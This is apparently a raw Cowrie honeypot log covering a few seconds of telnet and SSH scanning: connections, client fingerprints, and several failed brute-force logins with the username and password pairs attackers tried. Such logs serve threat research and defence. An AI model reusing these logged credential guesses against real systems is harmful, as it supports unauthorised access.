{"eventid":"cowrie.session.closed","duration":31.73790144920349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:02.946686Z","src_ip":"104.236.196.85","session":"b6f640b17233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311038732528687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:03.171188Z","src_ip":"104.236.196.85","session":"8ee77467e0a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39820,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ad8d6a2e98","protocol":"telnet","message":"New connection: 103.171.45.122:39820 (159.203.135.109:23) [session: 63ad8d6a2e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:03.567260Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48170,"dst_ip":"159.203.135.109","dst_port":23,"session":"977b7ee8a8d1","protocol":"telnet","message":"New connection: 51.15.157.40:48170 (159.203.135.109:23) [session: 977b7ee8a8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:03.759341Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f613c2b43f4","protocol":"telnet","message":"New connection: 51.15.157.40:48430 (159.203.135.109:23) [session: 2f613c2b43f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:03.875172Z"}
{"eventid":"cowrie.session.closed","duration":30.598583459854126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:04.264659Z","src_ip":"157.15.20.138","session":"609d133c43d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49690,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2a8d312ba6","protocol":"telnet","message":"New connection: 51.15.157.40:49690 (159.203.135.109:23) [session: db2a8d312ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:04.395864Z"}
{"eventid":"cowrie.session.closed","duration":33.275710344314575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:04.779349Z","src_ip":"104.236.196.85","session":"24c919793d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73002052307129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:04.827120Z","src_ip":"104.236.196.85","session":"074b5b03d6af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25287437438965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:05.230845Z","src_ip":"103.171.45.122","session":"ed6b083cab2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15241575241089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:05.252942Z","src_ip":"104.236.196.85","session":"f7290c484cbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752622842788696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:05.436538Z","src_ip":"157.15.20.138","session":"7146a9d959e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d05f7e97fa3","protocol":"telnet","message":"New connection: 51.15.157.40:44392 (159.203.135.109:23) [session: 7d05f7e97fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:05.557838Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c29ccce1bfa","protocol":"telnet","message":"New connection: 34.69.118.1:45386 (159.203.135.109:23) [session: 0c29ccce1bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:05.915826Z"}
{"eventid":"cowrie.session.closed","duration":30.95386791229248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.114115Z","src_ip":"51.15.157.40","session":"92ae5ceae551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507255792617798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.247283Z","src_ip":"103.171.45.122","session":"99f967f4656d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64199161529541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.343291Z","src_ip":"51.15.157.40","session":"d1c25832f365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35722517967224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.349845Z","src_ip":"51.15.157.40","session":"fad9a8a733b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246680974960327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.572080Z","src_ip":"51.15.157.40","session":"d4b9a8f098ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":46088,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f464509098d","protocol":"telnet","message":"New connection: 89.39.83.70:46088 (159.203.135.109:23) [session: 8f464509098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.700858Z"}
{"eventid":"cowrie.session.closed","duration":31.64993691444397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.742457Z","src_ip":"104.236.196.85","session":"4246852b1ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351661682128906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.762899Z","src_ip":"51.15.157.40","session":"118ed4af5638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":58990,"dst_ip":"159.203.135.109","dst_port":23,"session":"7036bc8a1d1c","protocol":"telnet","message":"New connection: 157.15.20.138:58990 (159.203.135.109:23) [session: 7036bc8a1d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:06.932225Z"}
{"eventid":"cowrie.session.closed","duration":30.2863290309906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:07.041416Z","src_ip":"104.236.196.85","session":"09b9f443b1aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70818829536438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:07.152502Z","src_ip":"51.15.157.40","session":"069549f8d9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf283d1ec1b","protocol":"telnet","message":"New connection: 51.15.157.40:58232 (159.203.135.109:23) [session: cdf283d1ec1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:07.500028Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43880,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a7ba8f2554","protocol":"telnet","message":"New connection: 34.69.118.1:43880 (159.203.135.109:23) [session: 26a7ba8f2554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:07.755421Z"}
{"eventid":"cowrie.session.closed","duration":30.512425184249878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:07.785627Z","src_ip":"89.39.83.70","session":"ab6b3321e958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":35436,"dst_ip":"159.203.135.109","dst_port":22,"session":"efb239ef8ee4","protocol":"ssh","message":"New connection: 113.163.156.190:35436 (159.203.135.109:22) [session: efb239ef8ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.062257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.072616Z","src_ip":"113.163.156.190","session":"efb239ef8ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82686185836792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.236255Z","src_ip":"103.171.45.122","session":"0cdb1329eab4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.397105Z","src_ip":"113.163.156.190","session":"efb239ef8ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.636661291122437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.475854Z","src_ip":"51.15.157.40","session":"e8a361695861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53122,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f8c13763b2","protocol":"telnet","message":"New connection: 51.15.157.40:53122 (159.203.135.109:23) [session: 55f8c13763b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.509817Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"776ab0a704f0","protocol":"telnet","message":"New connection: 51.15.157.40:33374 (159.203.135.109:23) [session: 776ab0a704f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.819160Z"}
{"eventid":"cowrie.session.closed","duration":31.07148766517639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.846430Z","src_ip":"157.15.20.138","session":"ec1bc8856ddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36217,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce5c0405115","protocol":"ssh","message":"New connection: 2.57.121.25:36217 (159.203.135.109:22) [session: 0ce5c0405115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.989938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:08.995301Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":32864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b844a2e0f5c","protocol":"telnet","message":"New connection: 104.236.196.85:32864 (159.203.135.109:23) [session: 9b844a2e0f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.054706Z"}
{"eventid":"cowrie.session.closed","duration":31.76277732849121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.088439Z","src_ip":"103.171.45.122","session":"97ff15262549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.447399854660034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.096082Z","src_ip":"104.236.196.85","session":"b4c4977a20a0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.101629Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.006120681762695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.162381Z","src_ip":"51.15.157.40","session":"072cdaf27fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":32876,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6125f5c9e03","protocol":"telnet","message":"New connection: 104.236.196.85:32876 (159.203.135.109:23) [session: a6125f5c9e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.179446Z"}
{"eventid":"cowrie.session.closed","duration":30.605576515197754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.268749Z","src_ip":"157.15.20.138","session":"c597a7c87871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48396,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b6472d9f5e8","protocol":"ssh","message":"New connection: 122.168.114.167:48396 (159.203.135.109:22) [session: 7b6472d9f5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.355710Z"}
{"eventid":"cowrie.session.closed","duration":32.52722406387329,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.518761Z","src_ip":"34.69.118.1","session":"dd01b6c6f411","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"checkit","message":"login attempt [user/checkit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.556834Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.844672203063965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.846511Z","src_ip":"34.69.118.1","session":"22ccafe873cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":49226,"dst_ip":"159.203.135.109","dst_port":23,"session":"746aabb9daab","protocol":"telnet","message":"New connection: 89.39.83.70:49226 (159.203.135.109:23) [session: 746aabb9daab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:09.923533Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37250,"dst_ip":"159.203.135.109","dst_port":23,"session":"3289ca5cff10","protocol":"telnet","message":"New connection: 51.15.157.40:37250 (159.203.135.109:23) [session: 3289ca5cff10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:10.355451Z"}
{"eventid":"cowrie.session.closed","duration":30.82721519470215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:10.485285Z","src_ip":"157.15.20.138","session":"a9b6fe6f80fa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell123","message":"login attempt [root/dell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:10.520296Z","src_ip":"113.163.156.190","session":"efb239ef8ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"chastity","message":"login attempt [user/chastity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:10.654499Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.167665243148804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:11.159228Z","src_ip":"51.15.157.40","session":"a74823daa1b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835341930389404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:11.255631Z","src_ip":"103.171.45.122","session":"f562d2f1135f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38186,"dst_ip":"159.203.135.109","dst_port":23,"session":"7072d93ca8c0","protocol":"telnet","message":"New connection: 51.15.157.40:38186 (159.203.135.109:23) [session: 7072d93ca8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:11.591440Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"cesar","message":"login attempt [user/cesar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:11.753839Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:11.845776Z","src_ip":"113.163.156.190","session":"efb239ef8ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56194,"dst_ip":"159.203.135.109","dst_port":23,"session":"85a9417855b1","protocol":"telnet","message":"New connection: 62.171.133.168:56194 (159.203.135.109:23) [session: 85a9417855b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.164348Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40064,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6f0969e7da","protocol":"telnet","message":"New connection: 51.15.157.40:40064 (159.203.135.109:23) [session: ad6f0969e7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.263426Z"}
{"eventid":"cowrie.session.closed","duration":30.924782752990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.267714Z","src_ip":"157.15.20.138","session":"10e2dc8aa57a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415181636810303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.343220Z","src_ip":"103.171.45.122","session":"84cbfecd780a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43470,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f637e5764e6","protocol":"telnet","message":"New connection: 51.15.157.40:43470 (159.203.135.109:23) [session: 4f637e5764e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.510937Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"cbr600rr","message":"login attempt [user/cbr600rr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:12.853101Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.581672430038452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:13.255234Z","src_ip":"51.15.157.40","session":"94974512cd31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117092847824097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:13.405128Z","src_ip":"51.15.157.40","session":"8421db97d6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56196,"dst_ip":"159.203.135.109","dst_port":23,"session":"982ca06aa9c2","protocol":"telnet","message":"New connection: 62.171.133.168:56196 (159.203.135.109:23) [session: 982ca06aa9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:13.740554Z"}
{"eventid":"cowrie.session.closed","duration":37.622620820999146,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:13.811723Z","src_ip":"103.171.45.122","session":"70af22024a8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"cavalry","message":"login attempt [user/cavalry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:13.960490Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40058,"dst_ip":"159.203.135.109","dst_port":23,"session":"abfad054172c","protocol":"telnet","message":"New connection: 51.15.157.40:40058 (159.203.135.109:23) [session: abfad054172c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:14.245282Z"}
{"eventid":"cowrie.session.closed","duration":30.88642644882202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:14.281314Z","src_ip":"51.15.157.40","session":"24bddef0f785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24707818031311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:14.881212Z","src_ip":"51.15.157.40","session":"f2560b31f1d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.885664463043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.052500Z","src_ip":"103.171.45.122","session":"e476cb291f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:15.060609Z","src_ip":"2.57.121.25","session":"0ce5c0405115","protocol":"ssh"}
